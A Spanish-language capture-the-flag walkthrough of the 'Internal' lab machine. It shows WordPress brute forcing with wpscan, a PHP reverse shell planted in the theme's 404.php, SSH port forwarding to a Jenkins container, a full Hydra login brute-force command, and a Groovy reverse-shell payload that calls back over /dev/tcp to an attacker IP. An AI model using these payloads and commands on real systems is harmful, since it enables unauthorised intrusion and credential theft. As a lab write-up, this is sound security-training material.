El reto de esta maquina consiste en localizar dos banderas:
- User.txt
- Root.txt
Ademas realizaremos la técnica de Pivoting.
Comenzamos primero, como siempre, buscando los puertos abiertos en la maquina y después realizaremos un análisis más completo de estos obteniendo versiones y otros datos de esos servicios.
nmap -sS -Pn -p- <IP maquina atacada>
nmap -p 22,80 -Pn -sS -sV -T4 -sC -oA Informe_Internal <IP_Maquina>
Vemos dos servicios SSH y HTTP, iniciaremos la exploración por el que normalmente localiza más huecos que es el servidor HTTP.
En una primera mirada, incluso ejecutando «whatweb» para identificar que se esta ejecutando parece que es solo un apache y que todavía no tenemos páginas configuradas. Profundizamos más y analizamos los directorios.
dirb <URL>
Descubrimos algunos directorios de interés, que nos indican aplicaciones instaladas.
- /blog Posible WordPress por los subdirectorios: wp-admin, wp-content.
- /wordpress
- /phpmyadmin Posible aplicación de gestión de BBDD.
- /javascript contiene jquery.
Intentamos ahora la identificación con «whatweb» de estas entradas, ademas de conectarnos directamente desde el navegador.
whatweb -a 3 http://<IP>/blog
whatweb -a 3 http://<IP>/wodpress
whatweb -a 3 http://<IP>/phpmyadmin
Vemos que son dos WordPress y una aplicación PHPmyAdmin. Así que vamos a centrarnos en el WordPress del directorio /blog cuya información incial es:
- Servidor Apache 2.4.9
- WordPress 5.4.2
Uutilizando la herramienta «wpscan» para obtener más información del gestor de contenidos WordPress instalado como sun los plugin vulnerables, usuarios.
wpscan --url <URL> -e vp,vt,u
wpscan --url <URL> -U <Usuario> -P <F_Claves> //Claves por fuerza bruta de los usuarios
Información adicional interesante que obtenemos al ejecutar estos dos comandos son:
- XML-RPC habilitado
- Wp-cron habilitado
- Usuarios encontrados: admin, el cual también hemos logrado obtener su clave.
Lo cual nos permite acceder al panel de control (http://internal.thm/blog/wp-login.php) antes definiremos en nuestro /etc/hosts la entrada «internal.thm» con la IP de la maquina para no tener problemas en la carga. Dentro del administrador podremos crear un fichero PHP con un Shel-Inverso-In que nos abra un Shell. Usaremos la pagina 404.php que es la que se produce en caso de error.
Usaremos el Shell inverso «https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php» cuyo contenido es el que sustituirá el PHP «404.php» cambiando nuestra IP y el puerto
nc -lvnp 4444
curl http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
Una vez en el sistema empezaremos con una enumeración para localizar la bandera y escalada de privilegios si es necesario, para la enumeración del sistema usaremos LinPEAS, vemos datos interesantes para una escala de privilegios:
- SO: Confirmamos que es un Linux 4.15.0-112-generic, Ubuntu 18.04
- La versión del sudo 1.8.21p2, pero al comprobar en comando vemos que no tenemos permiso de sudo con este usuario.
- Vemos que nos da dos vulnerabilidades en especial CVE-2021-4034 y CVE-2022-2588, ademas de otras a probar.
- El SSH nos permite logarnos como root «PermitRootLogin yes«
- Directorio /opt que normalmente esta vació, así que iremos a el a ver si podemos obtener algo.
- Obtiene las claves de ficheros PHP, como la BBDD de wordpress (fichero wp-config.php) y el usuario phpmyadmin.
- Y otra información que revisaríamos si con esta no es suficiente para localizar las banderas.
Vamos a ver contenidos de los ficheros de /opt y vemos un directorio que no tenemos acceso y un fichero «wp-save.txt» que parece nos da la clave del usuario aubreanna.
Asi que intentamos conectarnos por ssh a este usuario.
Vemos el fichero user.txt, con lo cual logramos la primera bandera, y ademas otros ficheros que miramos su contenido por si nos dan alguna información como sucede con el fichero «jenkins.txt» que nos indica que en la 172.17.0.2 esta el servicio jenkins. Realizamos un ifconfig y comprobamos que tenemos acceso a esa red, ademas miramos si alguien escucha en ese puerto y tambien vemos que es así.
Para probar a conectarnos con el navegador debemos realizar una redirección.
ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
Ahora podemos conectarnos a la dirección 172.17.0.2:8080 desde nuestra maquina invocando a 127.0.0.1:8080 y vemos que es la pagina de jenkins. Así que vamos a intentar localizar la clave del usuario admin con Hydra.
Lo primero sera analizar el codigo de la pagina para conocer la acción, la variable usuario y la variable clave.
- Accion: j_acegi_security_check
- Nombre: j_username
- Clave: j_password
Ahora ya podemos montar el comando Hydra
hydra -l admin -P rockyou.txt 127.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Obteniendo la clave del usuario admin que nos permitirá acceder a la aplicación, ahora podemos crear un shell-inverso en Grovy( lenguaje de jenkins) y así obtener un shell en la maquina.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.6.223/4445;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
No vemos el fichero root.txt al realizar un find pero encontramos uno que nos puede contener información útil «/op/note.txt» y al verlo parece que es el usuario root de nuestra maquina.
Realizamos un su en la otra maquina con esta clave y vemos que accedemos y que ahora tenemos acceso a «/root/root.txt» que al realizar el cat vemos la bandera de root.
Hasta la proximoa CTF.